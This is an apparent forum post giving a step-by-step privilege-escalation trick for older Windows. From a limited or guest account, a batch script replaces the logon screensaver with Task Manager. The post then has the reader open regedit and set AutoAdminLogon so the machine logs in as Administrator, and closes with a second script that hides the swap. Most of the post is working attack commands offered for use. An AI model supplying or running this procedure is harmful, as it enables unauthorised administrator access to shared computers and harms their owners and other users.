not sure if this will work, please no one shoot me, if this is bad please delete the post admin or mod.
Login as limited acount, guest etc.. then open notepad.exe found in start/all program files/accessories and type the following:
cd\
cd\windows\system32
mkdir temphack
copy taskmgr.exe temphack\taskmgr.exe
copy logon.scr temphack\logon.scr
del logon.scr
rename taskmgr.exe logon.scr
exit
and then save it as a .bat file, for example x.bat not .txt. Then double click on the files you just saved and it should execute some commands that should replace your screensaver with the task manager. Now logoff your limited acount and wait for 10 to 15 mins, without touching the mouse or keyboard and wait for the screensaver to come on, which shall be the task manager. When it appears click on New Task and in the box type in regedit. This should open up the registry editor. Now go to the hive HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon and double click on AutoAdminLogon and set the value to 1 and click ok. Now refresh the registry and close it, and then restart the pc. Once the pc is restarted you should automatically logon as Administrator.
Now you must put your screensaver back to normal by opening notepad.exe and by typing the following:
cd\Windows\system32
del logon.scr
cd\Windows\system32\temphack
copy logon.scr C:\Windows\system32
copy taskmgr.exe C:\Windows\system32
exit
Now save it as restore.bat and execute it. And it should restore your screensaver.